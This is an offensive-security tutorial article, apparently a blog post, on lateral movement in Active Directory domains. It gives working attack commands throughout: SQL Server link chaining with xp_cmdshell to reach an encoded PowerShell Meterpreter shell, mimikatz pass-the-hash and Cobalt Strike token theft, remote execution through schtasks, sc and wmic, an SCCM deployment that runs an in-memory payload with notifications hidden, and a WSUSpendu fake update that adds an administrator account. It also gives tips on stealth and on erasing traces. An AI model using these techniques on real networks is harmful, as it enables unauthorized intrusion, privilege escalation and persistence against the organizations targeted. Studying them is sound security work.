Lateral movement in Active Directory. Offensive techniques used to attack the domain

Imagine that you have successfully retrieved users’ accounts in a network with an Active Directory domain controller and escalated your privileges. But what if you control not the entire network, but just a small segment of it? You have to find out how to advance further through the network, escalate your privileges, and search for new entry points and relays.


More information on privilege escalation in Active Directory can be found in the article:

Attacking Active Directory. An overview of actual privilege escalation techniques

Lateral movement through Microsoft SQL Server links

First, a bit of theory. Microsoft SQL Server allows to create links to external data sources, including other SQL servers, Oracle databases, and Excel tables. In many cases, the server is configured incorrectly; as a result, such links or linked servers can be exploited to traverse database link networks, gain unauthorized access to sensitive data, and deploy various shells. This article is dedicated to the practical implementation of such attacks.


All information provided in this material is intended for educational purposes only. Neither the author nor Editorial Board can be held liable for any damages caused by improper usage of this publication.

Introduction to links

Creating a link on an SQL Server is pretty simple. This can be done using the sp_addlinkedserver stored procedure or SQL Server Management Studio (SSMS). Normally, malefactors don’t create new links but instead try to find existing ones and exploit them.

These links can be viewed in the SSMS menu Server Objects → Link Servers. Alternatively, they can be listed using the sp_linkedservers stored procedure or by issuing the query select * from master..sysservers. It is preferable to select links directly in the sysservers table because this method displays much more information on the links.

The existing links have several key settings you should pay attention to. The link destination (srvname), data source type (providername), and link accessibility (dataaccess) are important for exploitation purposes. Additionally, outgoing RPC connections (rpcout) need to be enabled on links in order to enable xp_cmdshell on remote linked servers.

Attackers trying to crack links of a database focus their attention on the two main configurations: the data source (providername) and the way the links are configured to authenticate. Let’s examine in more detail SQL Server data sources for links that connect to other Microsoft SQL Servers.

Each of the SQL Server links can be configured for authentication in several ways. It is possible to disable the links by not providing any connection credentials. It is also possible to use the current security context or set an SQL account and password that will be used for all connections that use the link. Experience shows that after crawling all of the links, you always find one or more links configured with sysadmin permissions. This allows to escalate the privileges from the initial public access to sysadmin access without ever leaving the database layer.

Only system administrators can create links, but any database user may try accessing them. There are two fundamental principles regulating the usage of links:

  • if a link is enabled (the dataaccess value is set to 1), than each user on the DB server can use this link regardless of their permissions (public, sysadmin, etc.); and
  • if the link is configured to use an SQL account, each connection will have the privileges granted to that account. In other words, a public user on Server A may, in theory, execute SQL queries on Server B as a sysadmin.

Links to an SQL Server are very easy to use. For instance, the following query based on the openquery() command enumerates the server version on a remote server.

select version from openquery("linked_remote_server", 'select @@version as version');

In addition, openquery can be used to execute SQL queries over multiple nested links; this makes link chaining possible and allows the exploitation of link trees.

select version from openquery("link1",'select version from openquery("link2",''select @@version as version'')')

In a similar way, you may nest as many openquery statements as needed to access all the linked servers. The only problem is that each nested query must use twice as many single quotes as the outer query. As a result, the query syntax becomes pretty complicated when you put 32 single quotes in each string…


Exploitation from inside the network

The picture below shows a typical linked database network. A user having public access privileges to DB1 can follow the database link to DB2 (user-level permissions) and then follow from DB2 to DB3 (user-level permissions). Now the user can follow the link from DB3 back to DB1 (user level permissions) or the link to DB4. This link is configured with higher privileges; so, following the link chain from DB1 to DB2, to DB3, and to DB4 gives the initially nonprivileged) user sysadmin permissions on DB4, which is located in an ‘isolated’ network zone.

Linked database network scheme

Linked database network scheme

Database links can also be queried using alternative syntax, but it doesn’t allow to make queries over multiple links. In addition, actual exploitation requires rpcout to be enabled for the links, while by default, rpcout is disabled; so, this technique is unlikely to be frequently used in real-life situations.

Microsoft claims that openquery() cannot be used to execute extended stored procedures on a linked server; but, in fact, this is possible. The trick is to return some data, end the SQL statement, and then execute the required stored procedure. Below is an example showing how to execute a procedure using openquery():

select 1 from openquery("linkedremoteserver",'select 1;exec master..xp_cmdshell "dir c:"')

The query doesn’t return the results of xp_cmdshell, but if xp_cmdshellis enabled and the user has the privileges to execute it, it will execute the dircommand on the OS. A simple way to get a shell on the target system is to call PowerShell (if this command interpreter is installed on the OS) and send the backconnect to the Meterpreter shell. The algorithm looks is as follows:

  1. Create a PowerShell script to execute the Metasploit payload (an example can be taken here).
  2. Encode the script in Unicode.
  3. Encode in Base64.
  4. Execute the powershell -noexit -noprofile -EncodedCommand command using xp_cmdshell.

If xp_cmdshell is disabled on the linked server, it may be impossible to enable it even if the link is configured with the sysadmin privileges. Any queries executed with openquery are considered user transactions that don’t allow reconfiguring. Enabling xp_cmdshell with sp_configure doesn’t change the server state without a reconfigure and, thus, xp_cmdshell remains disabled. If rpcout is enabled for all links on the link path, then xp_cmdshell can be enabled using the following command:

execute('sp_configure "xp_cmdshell",1;reconfigure;') at LinkedServer

But as said above, rpcout is disabled by default, and it likely won’t work with long link chains.

Exploitation from the outside

Database links can be used to escalate privileges after getting an authenticated access to a database inside the network; however, a greater risk arises when linked servers are available externally. For instance, SQL injection vulnerabilities are still very common, and a successful attack allows to execute arbitrary SQL queries on the database server. If the connection between a web application and a database is configured with the minimum privileges (which happens pretty often), it is not a big deal to escalate permissions to the internal network where the database server is likely located. However, as said above, any user, regardless of the privilege level, is allowed to use the preconfigured database links.

The next picture shows a path for an external attack. After identifying an SQL injection on the web application server, the hacker can start following the links from DB1 to DB2, to DB3, and to DB4. After getting sysadmin permissions on DB4, the attacker can execute xp_cmdshell to launch PowerShell and get a backconnect.

External attack on linked databases

External attack on linked databases

This is how the attacker gains privileges in an isolated segment of a corporate network and can compromise the entire domain. The point is that initially, the hacker had no access to the Intranet!

Automating the exploitation path identification

PowerUpSQL can be used to automate the enumeration and link crawling after gaining the initial access to an SQL Server.

The Get-SQLServerLinkCrawl function scans all available paths between the linked servers and enumerates software versions and privileges assigned to the links. To launch Get-SQLServerLinkCrawl, you have to provide information on the database instance that will be used for the initial database connection and account credentials for authentication. By default, the script uses a built-in authentication but, if necessary, you can specify alternative domain credentials and SQL Server credentials.

To get the console output, use the command

Get-SQLServerLinkCrawl -verbose -instance "[ip-address]\SQLSERVER2008"

To get the grid output, run the function as follows:

Get-SQLServerLinkCrawl -verbose -instance "[ip-address]\SQLSERVER2008" -username 'guest' -password 'guest' | Out-GridView

The results include the database instance, version information, the link user, the link user’s privileges on the linked server, the link path to the server, and links to each database instance. Inaccessible linked servers are marked as broken links.

Get-SQLServerLinkCrawl grid output (source:

Get-SQLServerLinkCrawl grid output (source:

In addition, Get-SQLServerLinkCrawl allows to execute arbitrary SQL queries on all linked servers using the -Query parameter. Xp_cmdshell (for command execution) and xp_dirtree (for UNC path injection) can also be executed using -Query.

Get-SQLServerLinkCrawl -instance "[ip-address]\SQLSERVER2008" -Query "exec master..xp_cmdshell 'whoami'"
Get-SQLServerLinkCrawl -instance "[ip-address]\SQLSERVER2008" -Query "exec master..xp_dirtree '\\[ip]\test'"

But I must admit that the BloodHound output in the form of a link graph produced by Neo4j is much more suitable for analysis and identification of exploitation paths in comparison with the same information in the text format. To build a similar graph for Get-SQLServerLinkCrawl, you have to export the Get-SQLServerLinkCrawl results into an XML file using Export-Clixml.

Get-SQLServerLinkCrawl -verbose -instance "[ip-address]\SQLSERVER2008" -username 'guest' -password 'guest' | export-clixml c:\temp\links.xml

The exported XML file is subsequently parsed into a node file and link file that can be imported into the Neo4j database. The script shown below creates the import files and provides the Cypher statements required to build the graph. Of course, all paths to files are hardcoded in PowerShell; so, you have to replace them prior to running the script. The last (optional) Cypher statements create a start node to indicate where the crawl has started, while the ServerId should be manually updated to point to the first SQL Server that was accessed.

$List = Import-CliXml 'C:\temp\links.xml'
$Servers = $List | select name,version,path,user,sysadmin -unique | where name -ne 'broken link'
$Outnodes = @()
$Outpaths = @()
foreach($Server in $Servers){
    $Outnodes += "$([string][math]::abs($Server.Name.GetHashCode())),$($Server.Name),$($Server.Version)"
    if($Server.Path.Count -ne 1){
        $Parentlink = $Server.Path[-2]
        foreach($a in $Servers){
            if(($a.Path[-1] -eq $Parentlink) -or ($a.Path -eq $Parentlink)){
                [string]$Parentname = $a.Name
        $Outpaths += "$([math]::abs($Parentname.GetHashCode())),$([math]::abs($Server.Name.GetHashCode())),$($Server.User),$($Server.Sysadmin)"

$Outnodes | select -unique | out-file C:\pathtoneo4j\Neo4j\default.graphdb\Import\nodes.txt
$Outpaths | select -unique | out-file C:\pathtoneo4j\default.graphdb\Import\links.txt

 [OPTIONAL] Cypher to clear the neo4j database:
 MATCH (n)
 OPTIONAL MATCH (n)-[r]-()
 Cypher statement to create a neo4j graph - load nodes
 LOAD CSV FROM "file:///nodes.txt" AS row
 CREATE (:Server {ServerId: toInt(row[0]), Name:row[1], Version:row[2]});
 Cypher statement to create a neo4j graph - load links
 LOAD CSV FROM "file:///links.txt" AS row
 MATCH (p1:Server {ServerId: toInt(row[0])}), (p2:Server {ServerId: toInt(row[1])})
 CREATE (p1)-[:LINK {User: row[2], Sysadmin: row[3]}]->(p2);
 [OPTIONAL] Cypher statement to create a start node which indicates where the crawl started. This is not automated; first node id must be filled in manually (i.e. replace 12345678 with the first node's id).
 CREATE (:Start {Id: 1})

 [OPTIONAL] Link start node to the first server
 MATCH (p1:Start {Id: 1}), (p2:Server {ServerId: 12345678})
 CREATE (p1)-[:START]->(p2);

If everything worked fine, you can view a link network graph using the Neo4j Browser.

Links between DB servers (source:

Links between DB servers (source:

Linked servers are pretty widespread; sometimes, linked server networks contain hundreds of database servers. The purpose of Get-SQLServerLinkCrawl it to provide a simple and automated tool for the analysis of such networks and identify lateral movement paths.


The Pass-The-Hash technique and identical local admin passwords on domain computers were addressed in the previous article dedicated to Active Directory. Let’s say you have analyzed some group policy settings, found out that all domain workstations have the same local admin credentials, and retrieved these data. Then you decide to use the Pass-The-Hash technique to access other machines on the network and perform lateral movement using mimikatz. If you know the open password, its hash can be obtained using the crypto::hash module. Run the command:

crypto::hash /password:[password]

Now you can get a new console on behalf of the account Pass-The-Hash was executed for.

sekurlsa::pth /ntlm:[hash] /user:admin /domain:.

Too bad, the access check fails.

PTH executed with mimikatz (source:

PTH executed with mimikatz (source:

The point is that there are two security identifiers (SIDs): S-1-5-113 (NT AUTHORITY\Local account) andS-1-5-114 (NT AUTHORITY\Local account and member of Administrators group). These SIDs are used throughout the group policy to effectively block the use of all local administrative accounts for remote logon. Any user who has successfully authenticated in the domain can check what workstations are affected by these restrictions by enumerating the group policies.

In reality, there is no way to pass the hash of a local admin account that does not have RID 500 (the relative identifier of a Local Administrator). For instance, for any non-RID 500 local admin account remotely connecting to a Windows PC through WMI, PSEXEC, or other methods, the returned token is ‘filtered’ even if the user is a local administrator. This happens because it is impossible to remotely escalate to a high-integrity context, except through RDP (that needs a plain-text password unless the Restricted Admin mode is enabled). So, when a user attempts to access a privileged resource (e.g. the ADMIN$ folder) remotely, they receive an “Access is Denied” message despite technically having the administrative access.

According to Microsoft, when a user who is a member of the local admins group on the target remote computer establishes a remote administrative connection… they will not connect as a full administrator. The user has no elevation potential on the remote computer, and they cannot perform administrative tasks. If the user wants to administer the workstation with a Security Account Manager (SAM) account, they must interactively log on to the computer that is to be administered with Remote Assistance or Remote Desktop (RDP).

This explains why local admin accounts fail with remote access (except through RDP) and why domain accounts perform their operations successfully. Although Windows disables the built-in RID 500Administrator account by default, it’s pretty often enabled in real-life systems.

Another possible reason behind the failure is the Admin Approval Mode. The key that specifies this mode is stored in the Windows registry:


By default, it is disabled. However, if this key is enabled, the RID 500 account is enrolled in UAC protection. This means that a remote PTH attack on the machine using that account would fail.

If the key


exists, and its value is set to 1, then remote connections from all local administrators are granted full high-integrity tokens. This means that non-RID 500 account connections aren’t filtered!

Adding the required key (source:

Adding the required key (source:

Successful connection with PTH (source:

Successful connection with PTH (source:

But how do local admins work on their machines when the token control is enabled? By default, the built-in administrator account runs all applications with full administrative privileges, i.e. the user account control is effectively not applied. So, when actions of a remote user are initiated using this account, a full high-integrity (i.e. non-filtered) token is granted. And hackers can exploit this.

Cobalt Strike is another tool used to steal and appropriate tokens. First, run hashdump to dump password hashes.

Dumping hashes with hashdump (source:

Dumping hashes with hashdump (source:

Then create a PowerShell process.

mimikatz sekurlsa::pth /user:[user] /domain:. /ntlm:[hash] /run:"powershell -w hidden"
Passing-the-Hash with mimikatz in Cobalt Strike (source:

Passing-the-Hash with mimikatz in Cobalt Strike (source:

Use steal_token to steal the token from the process created by mimikatz and whose PID is known.

Stealing the token with steal_token (source:

Stealing the token with steal_token (source:

Now you can use one of the following lateral movement variants.

Variant 1. Schedule a program to run on a remote host with at. Find out what time it is on the remote host and then schedule the task.

shell net time \\[address]
shell at \\[address] [HH:MM] [c:\windows\temp\soft.exe]

Variant 2. Run the code on the target system with schtasks.

shell schtasks /create /tn [name] /tr [c:\windows\temp\soft.exe] /sc once /st 00:00 /S [address] /RU System
shell schtasks /run /tn [name] /S [address]

Variant 3. Create and start the service with sc. The sc command requires an executable file that responds to Service Control Manager commands. If you don’t provide such an executable file, your program will run and then immediately exit. It is strongly recommended to delete the service after the exploitation.

shell sc \\[address]  create [name] binpath=["c:\windows\temp\SERVICE.exe"]
shell sc \\[address] start [name]
shell sc \\[address]  delete [name]

Variant 3. The most popular variant is to use wmic.

shell wmic /node:[address] process call create ["c:\windows\temp\soft.exe"]
Lateral movement with wmic

Lateral movement with wmic

In this example, the file was uploaded to the host and run using wmic.

System Center Configuration Manager

System Center Configuration Manager (SCCM) is a software product developed to manage the IT infrastructure and peripheral devices. Its main functions are:

  • patch management;
  • software and OS deployment;
  • NAP integration;
  • tracking hardware and software assets;
  • remote control; and
  • management of Windows-based virtualized and mobile systems.

In addition, SCCM enables the IT personnel to automatically create templates and send them to clients. If you manage to gain access to SCCM, it would become an excellent platform for further attacks. SCCM is integrated with Windows PowerShell, has excellent network visibility, and has a number of SCCM clients able to execute code with SYSTEM rights.

To use SCCM as a lateral movement tool, you need access with elevated rights. But, as said above, SCCM has good network visibility; so, it is possible to access the clients even from a different domain. I recommend using RDP to access the Configuration Manager Console on the SCCM server: after all, RDP is a legitimate piece of software used in many corporate networks, which reduces the risk of detection.

SCCM console (source:

SCCM console (source:

To support the Active Directory cloning function, SCCM stores computer and user objects, as well as links connecting them. This allows to control the software used by a specific user. To provide access to certain group of users, SCCM allows to create so-called collections. As a result, after seizing control over SCCM, you can get the list of all users (clients) and their computers to choose targets from. In addition, you can view the existing collections and create your own ones – this allows to apply your actions to all collection members at once.

The most popular way to compromise the SCCM’s functionality is to execute PowerShell code. This allows to get a reverse shell without leaving traces on the physical disk. To do so, you must have a shared resource accessible to the selected clients. On that resource, you place a text file containing the PowerShell code.

Install.txt with malicious PowerShell code (source:

Install.txt with malicious PowerShell code (source:

The next step is to create an application in the Application Management menu. The first screen asks you to specify the application install type. Select “Manually specify the application information”.

Selecting the application install type (source:

Selecting the application install type (source:

The rest of the application creation process it pretty intuitive, just remember: the less information you provide, the better. When it comes to the screen “Specify setting for this deployment type”, select the “Script Installer” option.

Deployment type selection (source:

Deployment type selection (source:

The next step involves the most important element of the application creation process: the payload! Make sure to leave the Content Location field in this section empty. Normally, the administrator specifies the location of the application installation files. But your goal is to avoid communication with the disk; so, leave this field blank. Time to take care of the Installation Program and Installation Start In fields. This is where you place the command that will grab the payload and execute it. The Installation Program should look something like this:

cmd.exe /c "powershell.exe -ep bypass -c 'gc \\server_Name\shared_Folder\Application_Folder\payload.txt | IEX'"

The cmd.exe console is used to start PowerShell, and then PowerShell uses Get-Content (gc) to reach out to \\sccm2012\sccmsource\LegitApplication and read the contents of Install.txt. After that, the code is passed to Invoke-Expression (iex) for execution. This allows to execute the payload on the target computer without uploading files to its file system.

After setting up the program, it is necessary to specify where the installation is going to start. The Installation Program field contains only cmd.exe; so, SCCM is asking to specify the location of this executable file. Enter the following information in that field: C:\Windows\System32.

Application installation setup (source:

Application installation setup (source:

The next important milestone is the Detection Rule menu. The parameters specified there tell SCCM how to determine whether the client already has the target application installed or not. SCCM will check the specified parameters before installing the application in order to prevent multiple installations. Since the payload is running in the memory, there is nothing to check; so, just populate this field with fictitious information. Also make sure that you have selected “The file system setting must exist on the target system to indicate presence of this application”.

The Detection Rule menu (source:

The Detection Rule menu (source:

Further settings can be left in their default state. To deploy the newly-created application, right-click on it, select “Deploy”, and specify the target collection. In the user experience settings, make sure that you have set the User Notifications to “Hide in Software Center and all notifications”. Now the application will wait for installation during the user authentication (i.e. it will be necessary to restart the user’s workstation to execute the payload). For better secrecy, I strongly recommend deleting all traces left in SCCM after the payload execution.

It is also possible to interact with SCCM in the console mode. A handy tool called PowerSCCM will assist you in this. Its documentation is comprehensive and exhaustive; so, I won’t describe it in detail here.

Now you know how to use SCCM to identify targets on the network, group the selected targets together, and inject the payload into the memory of all selected targets at once. Furthermore, SCCM is often used as a Management Point for many workstations on the network; as a result, the SCCM server often has great, if not complete, visibility into the entire network. The payload will be executed again after a reboot; this enables you to remain persistent on a machine without dropping a single file to its disk. Overall, SCCM is a great platform to advance through a network without the need to use ‘regular’ lateral movement techniques.

Windows Server Update Services


Windows Server Update Services (WSUS) is a computer program and network service responsible for updates of operating systems and Microsoft products. An update server synchronized with the Microsoft site downloads updates that can be subsequently distributed inside the corporate local network. This reduces the company’s external traffic, allows to promptly install updates fixing errors and vulnerabilities in Windows systems, and enables the centralized management of updates for servers and workstations. The product is easy to install and use; it is possible to adapt WSUS according to the patch policy of a specific organization. However, a misuse of its legitimate functionality may be critical for the network security.

The tool developed to compromise this service is called WSUSpendu. Too bad, this utility can be used not in all situations. The point is that WSUSpendu uses the direct injection of updates into the WSUS service (i.e. not in the network flow), to avoid network restrictions. A major issue in the patch management audit process is to collect the update statuses for every system. These statuses must be coherent. The direct access to the WSUS server allows to circumvent these limitations.

The most common network configuration involves only one update server. This server updates its own clients and is connected to the Internet to obtain patches from Microsoft servers. The communication between the WSUS server and Windows Update servers must be based on the HTTPS protocol (such configurations cannot be edited). The SSL certificate is checked by the WSUS server in order to avoid malicious updates from spoofed legitimate servers. Clients obtain their updates on the WSUS server according to the server configuration: either using the HTTPS protocol if the server is configured with SSL, or the HTTP protocol if it is not.

Simple WSUS architecture (source:

Simple WSUS architecture (source:

Large organizations often use several WSUS servers. In that case, a tree-structured architecture is used. The main server is connected to the Internet. Every other WSUS server (replica) spreads updates for one segment or subnetwork. It is also possible to use this architecture type with an autonomous system. In that case, updates are copied but not automatically approved.

Tree-structured WSUS architecture (source:

Tree-structured WSUS architecture (source:

These two architectures are recommended by Microsoft. However, they are not sufficient for certain organizations that may use two other architectures as well. The first one is often used by relatively large companies: it has several domains or forests, which are not necessarily connected by trust Active Directory relationships. In these architectures, shared servers for the support functions are often used . Although the domains have no relationships, update servers may have a common link: the WSUS server of one of the domains is used as a reference to the other network’s WSUS server.

WSUS architecture with linked servers in various domains (source:

WSUS architecture with linked servers in various domains (source:

For all these architectures, it is possible to manually install any software updates suggested by Microsoft. But it is also possible to automatically apply updates according to certain criteria. During the WSUS installation, a rule, which is disabled by default, is created; it allows, when activated, to accept automatically the installation of all the critical or security updates on WSUS clients.

Attacking WSUS

There are several attacks targeting the Windows Update mechanism. All these attacks are performed only between the server and the client. To perform a WSUSpect attack, the client must use the attacker’s machine as a proxy. One of the ways for a nonprivileged user on the client to perform such an attack is to set up a proxy server. Another way to perform this attack is to use the WPAD protocol. WSUSpect intercepts an update request sent by the client and interferes into it in order to inject a malicious update.

The server’s response is modified by inserting metadata and binaries in an attempt to execute arbitrary code on the client. However, the local computer will check the signature. With this configuration, it is impossible to modify an update by injecting an arbitrary binary file into it. But the point is that the command arguments are not included in the signature check. Therefore, it is possible to modify arguments of a signed binary file (e.g. cmd.exe or wmic.exe) to execute some commands. The file signatures are not saved; instead, signatures to the directory with these files are saved; this makes it impossible to assign an argument to them. Still, thanks to the support of Microsoft Sysinternals suite, signatures to the files from this directory, including PsExec, can be used for attacks.

WSUSpendu can unpack updates, create and delete WSUS groups, assign computers to groups, and uninstall updates. The script needs either PsExec or BgInfo because only these two binaries are signed by Microsoft and can execute arbitrary commands on any Windows system. The script takes the binaries’ arguments as input parameters and automatically injects the chosen binary file and crafted metadata into the database. The PowerShell script and the required binary file have to be uploaded to the WSUS server for local execution.

PS> .\Wsuspendu.ps1 -Inject -PayloadFile .\PsExec.exe -PayloadArgs '-accepteula -s -d cmd.exe /c "net user [USER] [PASSWORD] /add && net localgroup Administrators [USER] /add"' -ComputerName DC1.domain

Everything seems ok. Waiting for client now...
To clean the injection, execute the following command:

.\Wsuspendu.ps1 -Clean -UpdateID 12345678-90ab-cdef-1234-567890abcdef
 WSUS console (source:

WSUS console (source:

New update notification (source:

New update notification (source:

The update depends on the client’s configuration (i.e. whether it has been configured to install updates automatically or manually). A new update in itself is able to be installed without any user interaction.

Password spraying

Password spraying attack takes a large number of usernames and enumerates them using one or several passwords. Because the number of permitted attempts to enter the password is low, this method allows to avoid being locked out by the password policy. In many situations, this method is effective against weak passwords. After getting the actual user list, the malefactor tries frequently used or well-known passwords (or ONE password obtained through intelligence) for ALL known user accounts.

Normally, password spraying is performed at initial stages of the attack, when the attacker’s privileges are relatively low. Password spraying includes the following phases:

  1. Entering the network (in case of a penetration test) or compromising a user account (in case of a real attack);
  2. Enumeration of the group policy and password policy;
  3. Enumeration of usernames; and
  4. Password spraying.

The Spray script specially designed for this attack allows to specify the password policy as input. Spray makes it possible to perform attacks targeting SMB, OWA, Lync, and CISCO Web VPN. The script requires lists of users and passwords to be tested.

An alternative automatic solution is the DomainPasswordSpray PowerShell script. It requires only a password or password list as input and automatically enumerates domain users and password policies.

DomainPasswordSpray output (source: program description)

DomainPasswordSpray output (source: program description)

Furthermore, the script retrieves the complete list of users.

Lateral movement automation

Many networks can be hacked using a few standard algorithms. To avoid spending time on checking all possible scenarios, special tools automating steps taken in each context have been developed.


GoFetch s a tool that automatically implements an attack plan generated by the BloodHound application.

First, GoFetch loads a path of local admin users and computers generated by BloodHound and converts it into its own attack plan format. Once the attack plan is ready, GoFetch advances step by step towards the destination according to the plan by successively applying remote code execution techniques and compromising credentials with mimikatz.

GoFetch work algorithm (source:

GoFetch work algorithm (source:

GoFetch is written in PowerShell to avoid detection; however, built-in Python modules can expose the usage of this tool. GoFetch parameters include links between the objects built by BloodHound and executable payload in the BAT, EXE, or PS1 format.

A video provided by the developers demonstrates how GoFetch uses BloodHound graph data to pivot from an exploited host to the domain controller.


ANGRYPUPPY is a tool developed for the Cobalt Strike framework; it automatically parses and executes BloodHound attack paths. ANGRYPUPPY uses Cobalt Strike’s built-in lateral movement and credential-stealing capabilities of its own agent, Beacon. This allows for automated retrieval of sessions for subsequent management within Cobalt Strike and allows for the use of its SMB C2 communications channel. Additionally, ANGRYPUPPY allows the operator to choose the technique to perform lateral movement actions.

ANGRYPUPPY takes an attack path produced by BloodHound in JSON format and determines the actions required to execute the attack path, steal credentials, or move laterally if necessary.

ANGRYPUPPY work algorithm (source:

ANGRYPUPPY work algorithm (source:

The operator types angrypuppy in any Cobalt Strike beacon console and becomes able to import the attack path, select a lateral movement technique, and execute attacks. All actions are recorded in the Cobalt Strike event log, along with the operator name and the ANGRYPUPPY identifier. It is not recommended to perform other lateral movement activities while ANGRYPUPPY is running.

Here is a video demonstrating how the tool is working.


DeathStar is a Python script that uses Empire’s RESTful API to automate the appropriation of the domain admin rights in the Active Directory environment using a variety of techniques.

DeathStar work algorithm (source:

DeathStar work algorithm (source:

BloodHound is unable to identify all possible attack paths because it cannot analyze GPP and SYSVOL; so, DeathStar uses to the maximum the capacity of API RESTful Empire PowerShell.

The developers provided two videos demonstrating the DeathStar operation. However, the project is no longer maintained because the Empire project (which DeathStar relies on) is not supported anymore.


Lateral movement enables hackers to legitimately advance through the network using only the user account data and legitimate update delivery and installation mechanisms. This allows to collect information on the attacked computers without using RAT.

This article is not an instruction manual. Its purpose was to demonstrates how high are the requirements to professional skills of administrators responsible for security in the Active Directory environment. And just in case, I would like to remind: all unlawful actions are punishable under the respective laws!

For those interested in this topic, I created @RalfHackerChannel on Telegram where you can ask any questions (or answer questions of other users). See you there!

One Response to “Lateral movement in Active Directory. Offensive techniques used to attack the domain”

Leave a Reply

XHTML: You can use these tags: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <s> <strike> <strong>